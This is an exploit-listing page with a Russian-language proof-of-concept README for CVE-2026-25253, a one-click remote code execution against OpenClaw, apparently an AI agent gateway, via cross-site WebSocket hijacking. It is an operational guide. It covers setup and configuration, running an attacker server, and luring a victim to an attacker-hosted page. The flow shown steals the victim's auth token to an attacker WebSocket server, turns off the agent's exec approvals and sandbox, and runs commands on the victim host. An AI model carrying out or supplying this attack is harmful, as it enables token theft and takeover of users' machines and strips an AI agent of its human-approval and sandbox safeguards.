Sploitus

Exploit for CVE-2026-25253-research

kitploit · 2026-09-02

Exploit Code

MARKDOWN170 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-AL4N4N-CVE-2026-25253-RESEARCH
# CVE-2026-25253 Proof of Concept

Однокликовое RCE на OpenClaw через Cross-Site WebSocket Hijacking.

> **ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ:** Этот код предоставлен только для авторизованных исследований в области безопасности и образовательных целей. Использование этого кода против систем без явного письменного разрешения незаконно и неэтично. Автор не несет ответственности за неправомерное использование.

## Блог

Прочитайте подробный анализ для разбора этой уязвимости на уровне исходного кода и понимания того, как был создан этот PoC.

## Предварительные требования

  * Node.js (v18 или новее)
  * Запущенный экземпляр OpenClaw с Gateway на машине жертвы (по умолчанию: `localhost:18789`)
  * У жертвы должен быть активный токен аутентификации, сохраненный в браузере (т.е. она ранее использовала Control UI)



### Установка Node.js

**macOS (Homebrew):**

root@kitploit:~
    
    
    brew install node
    

**Ubuntu / Debian:**

root@kitploit:~
    
    
    curl -fsSL https://deb.nodesource.com/setup_22.x | sudo -E bash -
    sudo apt-get install -y nodejs
    

**Windows:**

Загрузите установщик с https://nodejs.org/ и следуйте инструкциям.

Проверьте установку:

root@kitploit:~
    
    
    node -v
    npm -v
    

## Настройка

root@kitploit:~
    
    
    git clone https://github.com/al4n4n/CVE-2026-25253-research.git
    cd CVE-2026-25253-research
    npm install
    

Это установит единственную зависимость: `ws` (библиотека WebSocket).

## Конфигурация

Отредактируйте начало файла `exploit.html`, чтобы соответствовать вашему окружению:

root@kitploit:~
    
    
    const LOCAL_SCHEME = 'http';                // Схема Control UI жертвы
    const GATEWAY_URL = 'ws://127.0.0.1:18789'; // Локальный gateway жертвы
    const ATTACKER_WS_PORT = 8080;              // Порт WS атакующего (должен совпадать с attacker-server.js)
    const ATTACKER_SCHEME = 'ws';               // Используйте 'wss' при работе за TLS
    const COMMAND = 'touch /tmp/success';       // Команда для выполнения на хосте жертвы
    

Отредактируйте начало файла `attacker-server.js`, если вам нужны другие порты:

root@kitploit:~
    
    
    const HTTP_PORT = 3000;  // Обслуживает exploit.html
    const WS_PORT = 8080;    // Перехватывает украденные токены
    

## Запуск

### 1\. Запустите сервер атакующего

root@kitploit:~
    
    
    node attacker-server.js
    

Вы должны увидеть:

root@kitploit:~
    
    
    ============================================================
    CVE-2026-25253 Attack Server
    ============================================================
    
    [HTTP]  Exploit page: http://0.0.0.0:3000/exploit.html
    [WS]    Token capture: ws://0.0.0.0:8080
    
    Waiting for victim...
    

### 2\. Заманите жертву

Отправьте жертве следующий URL (замените `<ATTACKER_IP>` на ваш IP):

root@kitploit:~
    
    
    http://<ATTACKER_IP>:3000/exploit.html
    

Жертва должна открыть эту ссылку в браузере, где она ранее использовала OpenClaw Control UI (чтобы токен аутентификации существовал в localStorage).

### 3\. Что происходит

root@kitploit:~
    
    
    ┌──────────────────────────────────────────────────────────────────────────┐
    │                          EXPLOIT FLOW                                    │
    ├──────────────────────────────────────────────────────────────────────────┤
    │                                                                          │
    │  1. Victim visits http://<attacker>:3000/exploit.html                    │
    │     │                                                                    │
    │  2. Page opens popup: http://127.0.0.1:18789?gatewayUrl=ws://<attacker>  │
    │     │                                                                    │
    │  3. Control UI in popup reads token from localStorage                    │
    │     and sends it to attacker's WS server via gatewayUrl                  │
    │     │                                                                    │
    │  4. Attacker server rejects first connect (device token)                 │
    │     Control UI retries with settings token → CAPTURED                    │
    │     │                                                                    │
    │  5. exploit.html opens its OWN WebSocket to ws://127.0.0.1:18789         │
    │     (Cross-Site WebSocket Hijacking - no Origin validation)              │
    │     │                                                                    │
    │  6. Authenticates with stolen token, disables security:                  │
    │     • exec.approvals.set → ask: "off"                                    │
    │     • config.patch → host: "gateway", sandbox.mode: "off"                │
    │     │                                                                    │
    │  7. Sends agent command → RCE on victim host                             │
    │                                                                          │
    └──────────────────────────────────────────────────────────────────────────┘
    

### 4\. Проверка

На машине жертвы проверьте, была ли выполнена команда:

root@kitploit:~
    
    
    ls -la /tmp/success
    

## Файлы

Файл| Описание  
---|---  
`attacker-server.js`| HTTP-сервер (обслуживает страницу эксплойта) + WebSocket-сервер (перехватывает украденные токены)  
`exploit.html`| Эксплойт на основе браузера, который крадет токены, перехватывает WebSocket, отключает безопасность и выполняет команды